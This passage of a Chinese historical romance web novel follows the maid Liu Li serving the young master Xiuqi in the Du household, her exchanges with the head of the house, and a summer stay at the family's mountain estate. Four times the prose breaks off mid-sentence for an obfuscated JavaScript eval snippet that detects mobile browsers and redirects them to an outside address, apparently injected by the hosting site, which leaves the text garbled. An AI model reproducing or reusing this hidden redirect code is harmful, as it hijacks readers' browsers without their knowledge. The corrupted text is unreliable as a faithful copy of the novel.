屋内陈设简净，大奶奶薛素卿坐在临窗的榻上描花样子，一身家常的素色衣裳，只在鬓上插了一支珠钗，眉目清浅，莲脸生春，别有一番逸世出尘的美。刘梨想到茴儿说的那些传闻，忽而就不意外了。若说依菲姐像朵诡魅诱惑的黑夜莲，薛素卿便是清雅脱俗的水仙——两种截然不同的美。这样美的人，确实容易惹人相怜。 见刘梨来了，素卿放下手里的绣样，命香尘搬来一张绣墩让她坐。刘梨谢过，浅浅坐了半面。素卿仔细端量这丫头，倒真是个齐整模样，眉目清丽，身姿窈窕，穿身半新不旧的衣裙，也无钗环相配，心道要是扮起来，这院子里怕是没人比得过她。 “听说我那顽劣的儿子，给你添了不少麻烦。” “小公子玉雪可爱，性情真挚，与我颇为投缘，不曾麻烦。” “修齐从小没有爹爹，外面瞧着跋扈心里却是卑微敏感的，我是个没见识的内宅妇人，一味溺爱不懂管束，越发纵得这孩子没有规矩。” “夫人怜子之心旁人不可体会。公子现下年龄小，虽淘气却心性纯正，稍以规训以后必定前途无量。” 薛素卿满意地看着她：“以前我对修齐的事总是亲力亲为，孩子大了，二叔劝我少拘着他，试着让其自立，可他身边只一个不成器的小厮，实在叫人不放心。我知道你在祠堂劝慰过他，那孩子听你的话，我也信你是个稳妥人，打算跟常妈妈要了你来，在小少爷身边伺候，你可愿意？” 刘梨如今在厨房适应得很好，又刚和刘家恢复了联系，本想着消磨几年攒够银钱求个恩典放出去，想了想说道：“奴婢是个乡下丫头，手脚粗笨，不懂规矩，倘若到小少爷身边伺候，怕是照顾不周。” “规矩可以慢慢学，但要找个明事理、真心待修齐好的，怕是难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021140|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。这事我已做了主，今儿起你就搬到小少爷院里去，都交待过了，往后你的份例待遇都按一等的走，望你勿再推脱。” 刘梨见薛素卿主意已定，再推脱反倒矫情，便允诺下来。 这厢修齐得了信儿，早早从学堂跑回来。又怕他娘亲嗔怪，只好在房里等着。见刘梨来了，反倒不好意思起来，扭扭捏捏，哪里有平日“小霸王”的样子。看他别扭的模样，刘梨忍不住笑出声。小孩儿脸上愈发挂不住，适好前院传了晚膳，这才借故奔出门去。 每月十五、三十晚上杜府都要办“团圆宴”，阖府须得聚在花厅用膳。这还是杜老爷在世那会儿就有的规矩，只是目下杜府人丁稀薄，家主杜二爷常忙得不着家，往往只大房母子俩守着一桌菜吃饭。 恰逢十五，本以为今晚又是母子俩用饭，小修齐刚坐定，抬眼看杜淮琤独自走了进来，忙起身规规矩矩喊了声：“二叔。” “未等二叔开席，失礼了。”薛素卿也颇意外，在家用饭也没派人提前知会，幸而还未动筷。 “嫂嫂何须多礼，一家人不必拘束。”说着撩袍在主位坐下。杜淮琤今日一身月白直衣，鼻若悬胆、鬓如刀裁，端的是爽朗清举君子之貌，哪里想到在外面是个杀伐果断的狠角色。刘梨只瞧了一眼便低下头去，规规矩矩侍立在修齐身后。 杜修齐坐在杜淮琤左首，叔侄俩应对了两句学堂之事，不再多话。食不言寝不语，这顿饭吃得很安静。薛素卿脾胃弱，晚膳用的不多，这会厨房呈了一碗鸡汤上来，香尘撇去油花给她盛了一小碗汤。刘梨明确自己身份，也给修齐盛了一碗，碗里还带了两块鸡肉，用公筷剔了鸡骨才端予修齐。薛素卿瞧见满意地低眉喝汤，修齐撇了饭碗先喝汤，喝两口就侧过脸笑盈盈地看刘梨，粘了一脸饭粒还不自知。 刘梨给他擦过脸，不期然迎上一道目光。杜淮琤肃着脸，看看刘梨又看看汤。那碗鸡汤放的是离他远了点，刘梨打工打惯了，这会服务意识上身，也给他盛了一碗奉上。杜淮琤瞄了一眼汤，举起酒盅摩挲不作理会。刘梨心里腹诽，天生丫头命，也拿公筷剔了鸡骨，杜二爷这才端过碗优雅喝汤。 修齐心里不乐意，脸上带起不悦，“二叔怎使唤我的通房丫头！” “噗！”一阵急咳嗽。 薛素卿顾不得仪态捂住修齐嘴，“胡说什么！”修齐眨巴眼，一脸困惑。杜淮琤缓过咳嗽劲儿，直唤了修齐的随身小厮杜澜进来问话。才知道修齐在学堂和同窗聊起身边来了个会说故事的丫头，几个年龄大的小子使坏，说那丫头以后是要做通房的，有了通房就代表长大成男人了。杜府里没有通房、侍妾，修齐一心想着长成男人，不明就里才说错了话。 一屋子大人都有点不自在，杜澜被二爷斥责没带好小主子，让他自己找蒋管家受罚，一顿“团圆宴”草草收了场。 15. 十五 即物穷理 按说杜家这样的门户，多有请先生在家坐馆的。杜淮琤却是在府外修了一所私学，不单将修齐送去念书，平常人家的子弟也可入学。要是那寒门学子品学兼优的，更可减免束脩，一应赀用全由杜家承担。 修齐不自在了几天，到底小孩子忘性大，不久就把十五家宴的尴尬抛诸脑后了。刘梨自此尽心照应修齐，饮食穿衣无不细致入微。这日做了一盘茯苓糕，刚走上檐廊，杜澜不知从哪儿冒出来，“姐姐做的茯苓糕口味清甜，且宁心安神，给小爷读书时当个茶点再合适不过了。”刘梨拈了两块糕给他，“身上伤好了？”杜澜往嘴里塞糕，“早好了，蒋管家那老驴手劲忒小，这几棍也就给小爷挠挠痒。”刘梨看他也就稍大点的孩子，“罢了，这儿有我伺候，你找个地方松快松快去吧。”杜澜正有此意，忙不迭谢了，又夸了刘梨不少好话，自去躲懒。 杜修齐读书并不轻省，每日下了学还另有课业，杜淮琤有时间也会考较他学问。他自知孤儿寡母，誓要争口气不让外人瞧扁了去，所以学业上倒是勤勉。之前就有过夜里读书不着意落了病的，小时候薛素卿看着还好，大了分了房就有点照顾不上，这才命蒋管家留意买个丫鬟，三番挑拣、细细考量才放在身边照应。刘梨也话里打探过怎么杜家这样的人家还要从外面买人，杜澜模糊道以前府里伺候的人也不少，大爷、老爷相继没了后打发出去许多，其他就问不出来了。 刘梨把糕点放在书案，又给修齐换了盏热茶，拿了绣绷坐在窗下学做针线。来东苑活计轻省了不少，起先无事时还会去后厨走动，后来无意听到有人背后议她是攀了高枝回来显摆，就不大去了。杜府花园大，景致怡人，刘梨却不愿独个儿在园子里走动，生怕冲撞了什么人，只每日在房中闷坐着，或学做些针黹——她女红实在算不得好，又找不到人讨教；或放下绷子挑些架子上的书来看，遇上看不懂的誊写记下，等修齐下学回来问他。彼时小孩儿即摆出师长的姿态，益发得瑟起来。 “古之欲明明德于天下者，先治其国；欲治其国者，先齐其家；欲齐其家者，先修其身；欲修其身者，先正其心；欲正其心者，先诚其意；欲诚其意者，先致其知；致知在格物。这‘格物’二字，当怎么解？” “先生说，‘格’至也，‘物’犹事也。穷至事物之理，欲其极处无不到也。”修齐摇头晃脑地答道。 “嗯……”刘梨一脸不明白。 “格物致知，就是即物穷理——先生就是这么教的。” 这什么爪哇国的先生，只是照本宣张，并不能通达其义，只会填鸭！刘梨暗道。 “致，推极也。知，犹识也。推极吾之知识，欲其所知无不尽也。格，至也。物，犹事也。穷至事物之理，欲其极无不到也。”说话的竟是不知何时进来的杜淮琤。 他从刘梨手里抽出书，“所谓物，既包括自然之物，主要是伦理之事。其所致之知，包括物理之理，但仍为伦理之理。朱子曰：‘所谓致知在格物者，言欲致吾之知，在即物而穷其理也。’盖人心之灵莫不有知，而天下之物莫不有理，惟于理有未穷，故其知有不尽也。是以大学始教，必使学者即凡天下之物，莫不因已知之理而益穷之，以求至乎其极。至于用力之久，而一旦豁然贯通焉，则众物之表里精华无不到，而吾心之全体大用无不明矣。此谓物格，此谓知之至也。”说完便看向刘梨，这丫头在他面前一向低着头，这会难得用几分崇敬的眼神看着自己，绣口花腮，妍丽叫人移不开眼。 刘梨也是不可置信，只当这杜淮琤是个满身铜臭的商贾，隐隐还有些怕他，想不到竟是胸有翰墨、深藏不露。 杜修齐对二叔素有孺慕之情，迎了上来恭敬行礼，杜淮琤抚上侄儿的肩膀，“笪桥的笪老爷下了帖子，你换身衣裳随我一同前去赴宴。”修齐听了一百个不乐意，嘟囔着嘴，这种宴席都是互相吹嘘追捧，甚是无趣，近年二叔刻意带他学着应酬，常常被他找理由躲过，这会亲自来接，推拒不了，只得跟着刘梨进内室更衣。 换好衣裳出来，刘梨见杜淮琤正拿着自己那幅不成样子的绣活，暗悔刚才怎么不收拾好了。衣裳被拽了拽，修齐扁着嘴，一脸哀怨的看着自己。“宴上总是吃不安生的，给你包一匣子点心，路上先垫垫”，又看了眼伫立的男子，对小少爷道：“修齐年纪小，少吃凉寒之物，更不得饮酒，可记下了？”杜淮琤总觉得这话是说给他听的，面上不显，心里倒是应承下来。 刘梨又给修齐披上件斗篷，送到垂花门才折返。 笪家的酒宴高朋满座，来的都是白水城有头有脸的主儿。杜淮琤座位靠上首，紧挨着边护使。笪老爷托杜淮琤才请来边护使应邀赴宴，席间觥筹交错，歌舞不息。主人家为表敬重，每座都有美婢侍酒。 身旁的侍女见杜淮琤丰姿伟岸，心生欢喜，格外地殷勤伺候。只是这位爷今晚兴致缺缺，酒都不大喝。这会恰呈上来竹荪鸡汤，旋柔声道：“二爷既不吃酒，奴伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021141|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候您用盅鸡汤吧。”边说边舀了一调羹送到男人嘴边。 听到鸡汤二字杜淮琤倒是一动，待看到调羹里满满的浮油，脸上眉头深锁。“去，照顾这小孩去。”把人就往修齐那儿推。 边护使听见这边动静，搂着姑娘问：“杜二何时转了性子，怎的这般不解风情？” 笪老爷一脸的酒意，还不忘道：“二爷可是嫌弃这侍婢照顾不周？满园的姑娘，二爷随便挑，若是还不中意，我命人拿了名帖去醉香楼请去。”底下人听到醉香楼都嚷嚷起来，一个个忘了形。 杜淮琤深悔今天的席果然不该带修齐来，眼神示意程锏带修齐下去回避，拎起酒壶好歹应付了一遭。 入夜，敲过二鼓，杜淮琤将修齐抱了回来。刘梨留着灯，见他们进来忙打着灯往内室引。 叔侄俩沾了一身的酒肉脂粉气，杜淮琤刚把人放在床上，刘梨就替上来给修齐脱靴换衣裳。杜淮琤看她紧着修齐，一个眼神没给过自己。堂堂杜府一家之主，向来众星捧月惯了的，在家里没这般遭人冷落过，不禁道：“没给他喝酒，在马车上睡着了。”刘梨头都不回，轻轻“嘘”了一声，出了内室才福身谢过二爷，然后就不说话了。杜淮琤不由地烦躁，灯下立着的小丫头，身姿楚楚，却一副送客的架势。晚上宴饮不到二更他便要回，被那群损友狠狠灌了几碗才放行，本就不太畅快，回来又遇着一张冷脸，心里就不大乐意。 刘梨想着赶紧把这尊大佛送走，好下门落锁。不想杜淮琤走到外间坐下了，“晚上吃多了酒，给我沏杯酽茶来。”好在茶炉上吊着热水，刘梨沏了一杯奉上，离他远远地站着。 杜淮琤借着饮茶打量刘梨，烛光只照亮她半边脸，低眉敛目，秀美的下颌像春山一般。可能刚才打了盹，头发略有些松散，不知哪来的夜风，将她鬓边一缕在烛影下微微撩拨，拂乱一池春水。他着人打探过，这姑娘是庄上刘家的二娘子，家里有老父和瞎了眼的老娘，跟伍子骥好像还有些沾亲带故。前些日子后巷见到的是她家哥哥，因被人构陷入狱才迫不得已卖了自己救兄长，是个有情义的。他想起来上次在铺子里被两个泼皮纠缠，这丫头也敢挣一挣，有泪藏着，倒是坚毅有胆识，叫他高看一眼。且奇还似认得几个字，实不像寻常乡下出来的姑娘。心里暗道这丫头一身矛盾，才令他多注目几分，只是现下一副拒人千里之外的样子，显然是不待见自己。杜淮琤边想边饮完了茶，放下茶碗，起身道：“夜了，歇着吧。” 16. 十六 藕花深处 刚入夏，竟也有了暑意。学馆的先生告了几天假，修齐正好乐得不用上学堂。这日刘梨在水榭摆下茶果，与他一同消夏。杜家的园子修的颇有野趣，这葭芦阁凌空架于水波之上，飞檐戗角，四面开敞，浅水处几丛芦苇，迎风摇曳、质朴无华。风从水面吹来，冲淡了炎炎暑热。修齐把手里最后一点鱼食撒下，池中红鱼争相抢食，泛起阵阵涟漪。拍拍手，转过脸来看刘梨，只见她盯着一朵睡莲发呆，因暑热两颊微红，和那粉面芙蓉一般颜色。 修齐伸手在她眼前晃了晃，“梨姐姐，你看什么呢？” 刘梨缓过神，“喂完了？渴不渴？”边说边拿帕子给他擦手，又去桌上端来一杯梅子饮递与修齐。 修齐摇摇头，兴致恹恹。“真无聊，成日闷在家里，倒不如去学堂热闹些。” 刘梨笑他，“这会觉得学堂有趣了？”“夫子沉闷迂腐，同窗有几个聊得来的，在一处说笑倒也开心，比闷在家里强些。”刘梨替他打扇，问要不要再摆盘棋或写幅字，都不应，只看池中鱼儿吃完了食慢慢散去。 葭芦阁旁依着黄石假山，内有通道可绕开莲池直达阁旁。这会不防从里面走出两人，正是杜淮琤并程锏。水阁内两人忙起身相迎。 “二叔。” 杜淮琤在桌前坐下，“大老远就听见怨声载道，有什么委屈过来跟我说道说道。”修齐讷讷上前，“没什么，就是天热，在家里憋闷地慌……”说完也不敢正眼往上瞧。刘梨上了一盏茶，退到修齐身后。 杜淮琤揭开盖子瞧了一眼，青瓷盏里是梅子色的冰饮。他向来觉得这些饮子甜腻故而不大爱喝，只是觉得杯盏似乎沾了香，浅尝一口，舌尖生津、清凉舒爽。 还不错。 撩起眼皮朝修齐身后瞄了一眼，“方才一路行来出了身汗，你过来给爷打打扇。”刘梨抬眼见他盯着自己，只得拿起纨扇站到杜淮琤身侧，低头给他扇扇。 杜淮琤原是去书房议事，路过水榭看到修齐本欲问两句就走，这会喝了茶倒坐定下来。轻纨小扇带起微微凉风，传来女子身上淡淡馨香，没有脂粉的甜腻，却有股广藿香的微凉，夏日里闻着正是清新宁神。 正了正色，面前摊着一沓纸，是刚才修齐练习的字帖。翻了两页，唤修齐上前道：“字是精进了不少，不过这几处略有孤露。”言毕，执笔在纸上写了几字，疏瘦劲练、骨气洞达，饶是刘梨这种不通书法的，也暗自叹服。又往下翻了几页，有几张涂鸦乱画，刘梨飞快与修齐对视一眼，这是她信手涂的卡通，给修齐逗闷子的，幸好杜淮琤只看了两眼没有多话，修齐转过身去，暗暗吐了口气。最底下一张不成形的零头纸，杜淮琤拈起，刘梨心也跟着提了起来。这张是她用阿拉伯数字列的一些算式，随手写的，连修齐都没在意，不想被杜淮琤注意到了，心里正思索该如何应对，只见他提笔写了几笔，复把纸压在下面。 “若是闷了就让蒋管事安排去山上住两日。”修齐听得脸上立刻挂起笑容，杜淮琤又交待道：“出门不要淘气，不然我让岑夫子住到你房里去！”又侧脸对刘梨道：“照顾好小公子。”刘梨忙福身应下。 修齐立刻要拉着刘梨回去整理行李，生怕二叔变卦似的。刘梨将桌上物件匆匆收拾起随修齐离了水榭，杜淮琤周身的气压太低，跑远了才松懈下来，手里一张纸飘然而落，正是她写算式的那张。刘梨捡起，赫然见纸上多了两个字——7年。金钩银划，正是杜淮琤刚才写上去的。宛如晴天一个霹雳！这是刘梨算的账，之前伍子骥在娄山替她出的三十两加上自卖自身的十二两，以她每月半吊的月例，如果一分不动地存着，还清四十二两正是七年。杜淮琤不仅看得懂阿拉伯数字，会用算式，还加上了“年”字，刘梨不确定他是否明晰了自己的心思，心里乱成一团，那边厢修齐一迭声地催她打理行囊，只得暂放下心绪不提。 这边程锏随杜淮琤出了水榭，“奇了，这丫头倒还会异国的数码。幸得二爷走南闯北，倒是见识过这种。” “这是西边传来的，只是中原惯用算筹，才未推及开。我觉着这数码倒是有几分便利的。” “那这丫头……” “她的心思不在杜家，不用太在意，我瞧她待修齐倒是用心的，暂时还掀不起浪来，且看着吧。” 东西两苑以一条鹭水河相隔，河上立九曲桥。这个时节河里的莲叶正是最盛的时候，层层叠叠，几乎盖住了整个河面，叶间露出几支绰约莲花，或粉面含羞或小荷尖尖，水佩风裳各有韵味。偶有几只鹭鸶现于荷叶间，也不怕人，恬淡散漫，怡然自得。 桥这边的景致和东苑大不相同。与东苑的秀丽婉约相比，西苑显得还朴反古。杜淮琤的内书房题作“近禾轩”，远商贾，近农耕，别有深意在其间。朝南一面的和合窗，铺撒入天光，宣炉内残烟未尽，余香袅袅，整个书房轩敞疏朗，室雅兰香。 伍子骥端坐其间，望着一扇髹漆屏风出神，听闻脚步声便起身而立。 “二爷，这是官署近日发出的邸抄，今年的青苗税又涨了两成。” “只有白水附近的几个州府涨税吗？”杜淮琤皱眉接过，略看了看。 “是。” “哼，早知会有此一遭。提高青苗税，咱们酿酒的成本也跟着上涨。”杜淮琤背手踱步，“子骥，江南曲家那儿得加把劲了。” “二爷果真要和曲家结亲？” “怎么，子骥对我这门亲事不满意？”杜淮琤一脸的调侃笑容，仿佛说的不是自己的婚事。 “不敢，属下只是觉得略有不妥。” 杜淮琤从邸抄上抬起头，看向面前和自己差不多年岁的文士，眉间略有一丝无奈，“子骥，何时你与我变得这般生分了。” 伍子骥心内微起波澜，面上只不动声色道：“二爷？” 往年二人也曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021142|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲近过，一众青年人诗酒年华，酣畅共饮，“昔日你我直呼彼此表字，如今你一声声‘二爷’，总让我记不起自己姓甚名谁。‘杜淮琤’似乎已经消泯无踪，世人面前的，只是个白水杜家的当家人。” 伍子骥心底一丝苦笑，他何尝不知道两人的情谊日渐疏远。可二人一主一仆，身份悬殊。即使杜淮琤想拿自己当兄弟一般看待，伍子骥仍谨记身份，不敢僭越。何况，杜淮琤已不复当年天真少年，他的霸气雄心正渐渐展现出来，凌厉的锋芒，甚至让伍子骥有些莫名的悸栗。 “淮琤，我记得你以前说过定要找个独一无二、情投意合的女子共度一生，像你兄嫂那样琴瑟和鸣，两心相契，如今贸然和曲家联姻，未免……” “琴瑟和鸣，两心相契？”杜淮琤玩味地默念这几个字，思绪有几分飘忽，但很快回过神来，笑道：“子骥，那都是年少时的荒唐想法罢了。我兄嫂纵然鹣鲽情深，而如今阴阳两隔，物是人非事事休，可见情深不寿，慧极必伤，我早就收了那伤春悲秋的心思了。”敛起神色，又道：“曲西阜乃江南大户，累世富贵，若只许以钱帛购粮，他根本不会放在眼里。曲家主动放出联姻的口风，其实是看上了杜家四通八达的船运水路和遍布全国的分号商铺。各取所需，何乐不为？” 伍子骥脸上带有忧色，“杜家的水运、分号一直攥在自家手里，从不让外人染指，二爷既然早已明了，为何还要答应？白水附近几个州县也是鱼米之乡，富庶之地，所产粮食供应杜家酿酒绰绰有余，即使青苗税涨了，利润犹可，不妨徐徐图之再想办法，何必急在一时，不远千里到江南求粮？” 杜淮琤没有立刻回答，端起茶喝了一口，心叹没有刚才的梅子饮爽口，才说道：“青苗税只是第一步，以后怕是有更多的昏招在后头。” 伍子骥心中一凛，不由上前一步，“二爷是觉得朝廷近期的举措有异，仿佛处处针对杜家？” 杜淮琤回身看他一眼，别有深意道：“杜家只是个头，朝廷看上的是整个造酒业。酒业利润丰厚，所获利可以大量填充国库。前些年边关多乱，大庥元气大伤，朝里……如今也只表面上好看罢了。正是要钱的时候。铁业、盐业近年均被朝廷收有，现在又盯上了咱们。”他掸掸衣袍，清隽矜贵，“意料之中。” “可是杜家有太祖皇帝的榷酒令，可以不受任何限酒令的限制。他们岂敢违背先祖遗命？”伍子骥忿忿道。 “他们是不敢，所以才想法设法地逼我往绝路上走，好让我自己双手奉上榷酒权。” “那……是否需要我亲自去一趟江南？” “还不是时候，曲西阜那老狐狸就是要看杜家能撑个几时，好探探我的底。咱们现在就以静制动，以不变应万变。该缴的税全缴齐，该孝敬的一分不能少。”伍子骥点头称是。 杜淮琤踱到窗边，望着一潭碧水，缓缓叹道：“要变天了。” 17. 十七 山居幽暝 因下雨，修齐的山居行又延后了几日才得行。薛素卿不耐出门，既然他二叔都同意了也不再把儿子拘在府里，收拾了一大包东西放马车上，又叮咛刘梨仔细照应，才由他们去了。 修齐坐在马车里一刻都定不下心来，不时掀起帘子东张西望，一会要吃这家店的蜜饯，一会要吃那个摊上的胡饼，杜澜被他使唤地汗湿了后心，过了主街才稍安分下来。从掀起的车帘看到“长生库”的匾额，刘梨心底欷歔一番，想想前世种种，犹如大梦一场，如今前路未卜，自家又身不由己，只能暂且心存谨慎、安稳度日罢了。 出了城，道路颠簸起来，马车摇摇晃晃，加上日头高长，车内人昏昏欲睡。刘梨让修齐安躺在车内，自己倚着车壁打盹，脑门一下一下磕着，昏沉间前尘往事纷至沓来，一会是至亲先后病故，一会是逼仄楼梯的推搡，一会又坠入雾瘴中。迷雾中有个男人身影一声声唤着自己名字，“刘梨，刘梨。”她想看清男人面貌，只瞧得见衣袂翻飞，似是靛蓝，又变成暗银色。“刘梨，过来。”忽而那声音就在近前，“刘梨！” “梨姐姐！”刘梨倏忽醒转，修齐在她身侧，满是焦急。“梨姐姐你怎么了？叫了几声都不醒，可是魇着了？”杜澜打着帘站在车边，一脸关切。“我没事，可是到地方了？”“到了，只是上山这段路我想走着上去，梨姐姐你要是累仍坐车吧。”“不妨的，我和你一起步行上去。” 上山的路倒是没有想象的崎岖，据说这山里有几处上佳的岩洞，正是窖藏陈酒的洞天福地，早已是杜家的产业，故而路修的比别处用心些。 山中清凉自在，一进山原本躁郁的心情全被抛却。鸟鸣山涧、溪流潺潺，真是个绝佳的所在。大约行了一炷香的工夫，山腰隐隐现出几处檐角，想是快到了。 “呔！什么人敢闯本大王的山寨！”一个半大的小子，赤着上身，戴顶草帽圈立在山石上，手持一柄木刀，大马金刀拦在车队前。 杜澜行在队伍前头，见状上前道：“猴崽子，我们是杜家的，快回去给你们庄头报信，杜家小公子来了。” 那孩子将一队人马前前后后看了个仔细，也不说话，忙回身跑了。修齐看那娃娃的“装备”新奇的很，不由催促众人快快赶上。 行近山门，果有三两人在外候着，见着杜家的车马立刻迎上来，拜道：“不知小公子前来有失远迎，还请少东家莫要怪罪。” 修齐在人前向来晓得守礼自持，见到三位长者想必是庄里的管事，笑道：“诸位大管事不必拘礼，我此次前来本就突然。二叔应了我来山中避暑，往后几日多叨扰各位了。”几人听他说到杜淮琤，益发恭维起来，修齐一心想找刚才那小孩，又不得不装出持重的样子应付一二。杜澜知他心思，忙嚷嚷着叫安排下处。 住的是庄子北端的一处房舍，地势稍高，修的颇为齐整，房内物品一应俱全。“这里本就是给东家准备的住所，往常二爷也偶有歇宿在此。”庄头姓臧，头发胡子都花白了，精神头倒是很好，从门外喊进个小子，“这是小老儿的孙子阿麦，少东家有什么吩咐尽管使唤他便是。”正是刚才拦路那小子，这会套上了衣裳恭恭敬敬站在爷爷身旁，朝修齐飞快瞟了一眼又低下头去。 好容易送走了臧管事，修齐笑盈盈地上前，一时也不知道说啥，拿了路上买的蜜饯果子往阿麦跟前送。见他抓了一把才问道，“你那刀呢？”阿麦听他问到自己得意处，眉飞色舞道：“在外边藏着呢，我自己做的，威风吧？”修齐立时要去看，刘梨正收拾铺盖，不放心，丢下活计跟了上去。 山庄里人口不多，两个孩子年龄相仿，很快熟络起来。没人约束，又恰是狗都嫌的年纪，两人上山下河，不过两日便搅得庄子里鸡飞犬跳，大鹅看到都要绕道跑。刘梨难得看到修齐恣意，只要不太过分并不怎么拦着他，只是步步跟着，不许往水深处去。 住了几日，杜澜回城给府里报平安。这日三人早早地进山，山中有一小潭，因有溪流汇入故而潭水清冽凉爽，潭中鱼虾游弋好不自在。阿麦前日在潭里下了网，今天来查看，网内空空，只逮着两只小虾米。见修齐大失所望，阿麦砍了竿瘦竹，坐在潭边削出把竹剑给他，把修齐喜得跟什么似的。二人木刀竹剑打得有来有往，不觉往林深处跑去，刘梨辨着声音跟上，嘴里不住喊着：“小心，别伤着眼睛！” 突然两人都没了动静，刘梨心中一凛，紧跑上前。只见一个黑黢黢的洞口赫然出现在眼前，修齐和阿麦正站在洞口朝里面张望。这山洞极大，洞口原有木门，这会大敞四开，从洞内丝丝往外透着凉气。 “这是陈放杜酒的岩洞。”阿麦跨前一步，冲二人说道，“咱们这山里大大小小的岩洞有十来个，冬暖夏凉，有的还连着暗河，洞藏储酒最合适不过。爷爷说杜酒要好喝，必得放入这些洞里窖藏，这满山的岩洞，就是酿成杜酒的一大秘方。”修齐多少听过窖藏，只是不解：“为什么寻常的酒放进洞去，出来就不一样了？”阿麦哪里懂，却不想在新伙伴面前露怯，压低声道：“爷爷不让打听，只说此间自有妙处。”修齐闻言瞳孔放大，眼神飘进看不见底的山洞，低喃道：“这么神奇？难道洞里有神仙不成？”“那可说不好，爷爷从未让我进去过。洞门何时打开何时封闭都提前算好日子的，这个洞前些时候刚送出一批酒，今天应是送新酒进去。”正说着，洞里嗡嗡传出声响，几人忙跑开，躲在树后观望。 打头是几架独轮小车，后面十来个挑夫鱼贯而出，几位管事随个年轻人最后走出，站在阴影里看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021143|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清面目。洞门合上，臧管事亲自贴了封条。一行人走到近前，修齐瞧个真着，从树后跑出道：“伍先生！” 那年轻人正是伍子骥，看清是修齐，又看到后面的刘梨，眼睛亮了亮，“你们怎么在此？”臧管事先开口，对着阿麦道：“胡闹！这哪是你们来的地方？”伍子骥也道：“此地说话不便，随我到庄上去。” 修齐手舞足蹈，把如何来此及这几日的经历统统说给伍子骥听，又献宝似的炫耀那柄竹剑。他笑着听，目光时不时转向刘梨，和煦如风。刘梨原本走在人群后面，不知何时伍子骥竟与她并排同行。 “修齐与你倒是亲近。”她找话说。 “他父亲于我有知遇之恩，故而多看顾些。”男子嗓音清润低沉，说完后二人一时无话，一队人只有两个孩子咋咋呼呼的声音。 “你，”伍子骥慢下脚步，看向刘梨问道，“在府里可还好？” “我很好，大奶奶待我和善，修齐也乖巧惹人怜，我自当是很好的。”良久没听到对方回应，刘梨抬起头，伍子骥定定地望着她，眼眸里映出她的身影，忽然就觉得被看穿一般，慌得无处躲藏。她说自己一切安好，可是无人处总感孤寂，午夜梦回，忆起前世心里阵阵泛苦。以前也是孤苦的，可她憋着劲想着把日子过好，不负家人期望，总有个奔头；如今困在这里，寻不着出路、找不到回路，人还在，心却是要枯朽了。 “把你从娄山带出来，本以为是为你做了最好的安排。不想，却害你被拖累……”他颓下肩。 “不！”刘梨忙道，“我是自卖自身，自愿入府的。刘家人收留我，待我如亲生，刘家落难，我出力不遑多让；伍先生当日救我脱困，刘梨更是铭感于心，一直未能报先生大恩，心内不安，有生之日，皆报恩时。”说完俯身便拜。 伍子骥忙扶起她，掌中纤柔温婉，只一瞬便放开。刘梨小臂上一热，旋即被松开了，两人俱是赧赧的，又是一时无话。 眼看就要走出林子，伍子骥道，“我们马上就要下山，你若是想家，我可顺路捎你一程。刘庄离此地不算远，回去看看，或即刻回或待一晚，都由你。” 刘梨欣喜，可想想又道：“修齐留在这儿我不放心，以后再找机会吧。” “不放心什么？”修齐突然冒了出来。 “我听见了，梨姐姐家就在附近，伍先生要送她家去探望爹娘，梨姐姐不放心你呢，不肯去。”阿麦抢道。 “我在这儿好着呢，梨姐姐有什么不放心的。难得的机会，姐姐可别错过了。”说得刘梨动了心，阿麦也在一旁劝。刘梨看看伍子骥，心想便去半日吧。将孩子托付给庄上的婶子，又细细嘱咐二人不可淘气，直到说得修齐都烦了，才跟着伍子骥他们下山。 18. 十八 过故人庄 说是顺路，却是他们半路转了方向。 伍子骥让车队先行，瞧着队伍走远，才牵了自己的马来。“此去还有一段路程，为省时间、脚力，你我共骑。” 让刘梨手扶前鞍，脚踩马蹬，双手在她腰上轻轻托了一把，顺势跨上马背。刘梨从未骑过马，坐在马上不敢直起腰。白马打了个响鼻，前蹄在地上不满地划拉了几下，惹得她脸上更凝重了几分。 伍子骥轻笑，一个跃身骑上马背，手持缰绳，正好将刘梨虚拢在怀里。 